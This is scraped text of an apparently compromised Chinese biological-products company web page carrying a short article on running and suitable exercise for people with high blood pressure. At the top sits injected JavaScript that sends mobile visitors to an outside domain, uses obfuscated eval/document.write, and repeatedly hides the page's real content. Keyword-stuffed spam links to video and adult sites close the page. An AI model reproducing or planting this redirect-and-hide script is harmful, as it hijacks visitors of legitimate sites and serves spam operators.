function goPAGE() { if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i))) { window.location.href = "http://xql22.vip/" } else { var ss = '
'; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setInterval(function() { try { document.getElementById("div" + "All").style.display = "no" + "ne" } catch (e) {} for (var i = 0; i < document.body.children.length; i++) { try { var tagname = document.body.children[i].tagName; var myid = document.body.children[i].id; if (myid != "iconDiv1" && myid != "yangchen") { document.body.children[i].style.display = "non" + "e" } } catch (e) {} } }, 100) } catch (e) {} } } goPAGE();

手机二维码

版权所有:山西康宝生物制品股份有限公司       

地址(ADD):山西省长治市北环西街151号

电话(TEL):0355-2082632

传真(FAX):0355-2081098
 

山西康宝生物制品股份有限公司

SHANXI KANGBAO BIOLOGICAL PRODUCT CO.,LTD

微信公众号

高血压患者适合的运动有哪些

浏览量

高血压能晨跑吗

高血压早上能跑步,但是一般不建议高血压患者在早上跑步。因为早上正是人体血压升高的高峰,而跑步时心率会增加,血流速度明显加快,心脏每次收缩泵出的血量有所增加。

相较于平时,血压自然会升高。虽然这样的血压升高是正常现象,也是暂时的,且运动停止后就会恢复,但对于早上血压本来就较高的高血压人群来说却可能蕴含一些危险。 

所以,建议高血压患者在下午或者傍晚进行跑步锻炼,不建议在早晨进行锻炼。下午或者傍晚人体内激素的活性也处于良好状态,身体适应能力和神经的敏感性好,适合高血压患者进行跑步降压。

     适合高血压的运动有哪些?

 

1、快走或慢跑

对于刚开始运动的人,医生推荐有氧运动。比如快走、慢跑、慢自行车、慢速游泳、瑜伽、团操等等,这些低强度、长时间的都可以算作是有氧运动。其中,实用的是快走或慢跑,毕竟想动就能动,还能省下一笔交通费。

2、可力量训练

相对于有氧运动,无氧运动主要是一些力量训练,如举重、杠铃等。对有将军肚或苹果型身材的人来说,力量训练对燃烧脂肪是很有效果的,也有助于血压的长期控制。但是需要注意,力量训练时,血压会根据负重的大小有一定程度的升高。所以,力量训练一定是在血压控制稳定,同时有专业人士指导的情况下进行,避免发生意外。

3、适当运动量

运动量过小没效果,运动量过大吃不消。一般而言,每天保证30分钟的有氧运动,是相对合理的运动量。或者你可以根据自己的感受,摸索出适合自己的运动量。运动过程中有点累,但还能和人交谈,这样的状态就刚刚好。

 

 
7723在线视频免费观看 7723在线观看免费视频播放_韩日影院_老司机深夜免费影院 7723在线观看视频app-7723在线观看视频高清无删减中字下载 7723视频免费观看免费观看在线观看 7723视频免费观看高清无删减下载_7723视频免费观看无限制